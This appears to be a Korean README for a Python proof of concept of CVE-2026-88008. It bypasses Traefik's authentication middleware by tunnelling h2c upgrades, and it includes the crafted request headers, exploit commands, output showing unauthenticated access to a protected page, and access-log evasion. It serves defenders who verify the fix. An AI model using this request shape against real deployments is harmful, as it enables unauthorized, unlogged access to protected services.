
CVE-2026-88008에 대한 표준 라이브러리만 사용하는 Python PoC: Traefik의 h2c 업그레이드 포워딩을 악용하여 라우터와 인증 미들웨어를 우회해 터널링하며, 수정 사항 검증을 위한 Jetty h2c 랩을 포함합니다.
영향 받는 버전: Traefik 2.11.26 → 2.11.56 및 3.7.0 → 3.7.12
수정 버전: 2.11.57 / 3.7.13 — 커밋 a277e946 "Do not forward h2c upgrade headers to the backend"
보안 권고: GHSA-w4v4-9rw7-5326 · CVSS 9.1
분류: CWE-444 (요청 밀수 / 일관성 없는 해석) + CWE-863 (잘못된 인가)
Traefik의 HTTP 리버스 프록시는 프록시 처리 중에 클라이언트의 Connection: Upgrade /
Upgrade: h2c 쌍을 다시 추가하고 HTTP2-Settings 헤더도 함께 전달합니다.
RFC 7540 §3.2 h2c 업그레이드 핸드셰이크를 구현한 업스트림은
101 Switching Protocols로 응답하며, 그러면 Go의 httputil.ReverseProxy는
원시 바이트 터널로 전환됩니다. 그 이후 연결상의 모든 트래픽은 백엔드로 곧장 향하는
HTTP/2가 되며, Traefik의 라우터와 미들웨어(BasicAuth, ForwardAuth, IPAllowList,
RateLimit)는 전혀 참조되지 않고, 해당 트래픽은 액세스 로그, 계량, 추적에도
기록되지 않습니다.
Traefik이 세 가지 요소를 모두 전달하게 만드는 요청 형태:
GET /public.html HTTP/1.1
Host: target
Connection: Upgrade # HTTP2-Settings deliberately NOT listed here
Upgrade: h2c
HTTP2-Settings: AAMAAABkAAQAAP__
HTTP2-Settings는 Connection 토큰 목록에 포함되어서는 안 됩니다. Go의 리버스 프록시는 프록시 처리 전에 Connection에 나열된 모든 헤더를 삭제하기 때문입니다. 여기에 나열하면 설정 헤더가 제거되어 업스트림이 업그레이드를 거부합니다. Upgrade만 지정하면 Go가 여전히 Connection: Upgrade / Upgrade: h2c 쌍을 다시 추가하면서 헤더가 유지됩니다. 실제 프록시에서 측정한 결과:
# what the upstream received through vulnerable v3.7.12
GET /vuln-probe.html HTTP/1.1
Host: lab
Connection: Upgrade
Http2-Settings: AAMAAABkAAQAAP__
Upgrade: h2c
# through fixed v3.7.13
GET /fix-probe.html HTTP/1.1
Host: lab
# -> no Connection, no Upgrade, no Http2-Settings
수정 사항(pkg/server/service/upgrade.go)은 리버스 프록시를 h2cUpgradeHandler로 감싸는데, 이 핸들러는 (Connection에 Upgrade 토큰이 포함되어 있고 값이 h2c인 경우) Upgrade를 삭제하며 항상 Http2-Settings를 삭제합니다.
# vulnerable target: assert the bypass
python3 poc.py exploit --url http://127.0.0.1:8083
# fixed/control target: assert the upgrade is refused and the path stays protected
python3 poc.py check --url http://127.0.0.1:8084
PoC는 표준 라이브러리만 사용하며, 보호되지 않은 경로에서 업그레이드를 열고, 터널이 설정되면 HTTP/2(원시 프레임, 최소한의 HPACK)로 통신하여 자격 증명 없이 미들웨어로 보호된 경로를 가져옵니다. 새 HTTP/2 연결의 스트림 1은 재생된 업그레이드 요청이며(RFC 7540 §3.2), PoC는 이를 소진한 후 자체 요청을 스트림 3으로 전송합니다.
실습 환경: 실제 traefik:v3.7.12 및 traefik:v3.7.13 컨테이너와, 평문 HTTP/2(--add-modules=http2c)를 사용하여 basicAuth 미들웨어가 보호하는 문서를 제공하는 실제 Jetty 12 업스트림. 레시피: lab/README.md.
$ python3 poc.py exploit --url http://127.0.0.1:8083 # Traefik v3.7.12
[*] target : http://127.0.0.1:8083
[*] public path : /public.html
[*] protected path: /protected.html
[*] baseline: GET /protected.html without credentials -> HTTP 401
[*] upgrade request -> HTTP/1.1 101 Switching Protocols
[*] stream 1 (replayed upgrade request) body: 'PUBLIC-OK'
[*] tunnel frames : 1:3:4 0:3:0 0:3:1
[+] content served over the unauthorised tunnel:
PROTECTED-CONTENT-OK
=> PASS (unauthenticated access to /protected.html through the h2c tunnel; Traefik's routers/middlewares were never applied to this request)
$ python3 poc.py check --url http://127.0.0.1:8084 # Traefik v3.7.13
[*] baseline: GET /protected.html without credentials -> HTTP 401
[*] upgrade request -> HTTP/1.1 200 OK
=> PASS (control: upgrade not forwarded and the protected path still requires auth)
$ python3 poc.py exploit --url http://127.0.0.1:8084
[*] upgrade request -> HTTP/1.1 200 OK
=> FAIL (upgrade refused - no h2c tunnel, target is not vulnerable / is fixed)
취약한 실행에서 Traefik 자체의 액세스 로그는 스머글링 표면을 보여준다: 업그레이드 요청은 하이재킹된 상태(0)로 기록되고, 터널이 가져온 보호된 문서는 전혀 항목이 없다 — 이 우회는 액세스 로깅에 보이지 않는다:
"GET /protected.html HTTP/1.1" 401 17 ... "prot@file" <- our baseline check
"GET /public.html HTTP/1.1" 0 0 ... "pub@file" 7ms <- the upgrade request (tunnelled)
<- the tunneled protected fetch: nothing logged
이 우회는 Traefik이 전달하는 그대로의 h2c 업그레이드를 수용하는 업스트림을 필요로 합니다. 즉, Connection: Upgrade, Upgrade: h2c 및 HTTP2-Settings 헤더를 포함하되, Connection 내부에 HTTP2-Settings 토큰을 요구하지 않아야 합니다. 수용하는 것으로 확인된 대상:
http2c 모듈이 있는 Jetty 12 (UPGRADE: h2c + settings 헤더로 충분) — 실습 환경에서 사용된 업스트림입니다.거부하는 것으로 확인된 대상 (이들은 RFC에 엄격한 Connection: Upgrade, HTTP2-Settings 토큰 목록을 추가로 요구하는데, Go의 리버스 프록시가 Connection에 명시된 헤더를 제거하기 때문에 Traefik은 이를 전달할 수 없습니다):
mod_http2 — AH03086: upgrade without HTTP2-Settings declined를 기록합니다golang.org/x/net/http2/h2c — isH2CUpgrade()가 Connection 내의 HTTP2-Settings 토큰을 요구합니다따라서 도달 가능한 피해 대상 집합은 관대한 h2c 업그레이드 검사를 사용하는 업스트림(일반적인 경우인 Jetty 기반 Java 서비스)이며, 모든 백엔드가 아닙니다. 프록시 측 버그와 수정 경계는 무조건적이며, 이것이 벤더가 수정 버전을 배포한 이유입니다.
Upgrade: h2c를 보낼 수 있는 일반 HTTP 엔트리포인트를 노출하지 마십시오) 업스트림에서 h2c 업그레이드 지원을 비활성화하십시오(Apache에서는 Protocols http/1.1, Jetty에서는 http2c 모듈 제거) — 동일한 플래그로 이 계열의 자매 권고 사항(CVE-2026-85595 digestAuth 우회, CVE-2026-71324 CONNECT 디싱크)도 차단됩니다.공개 벤더 수정이 포함된 공개 CVE이며, 이 저장소는 방어자와 수정 경계 검증을 위한 독립적인 재현입니다.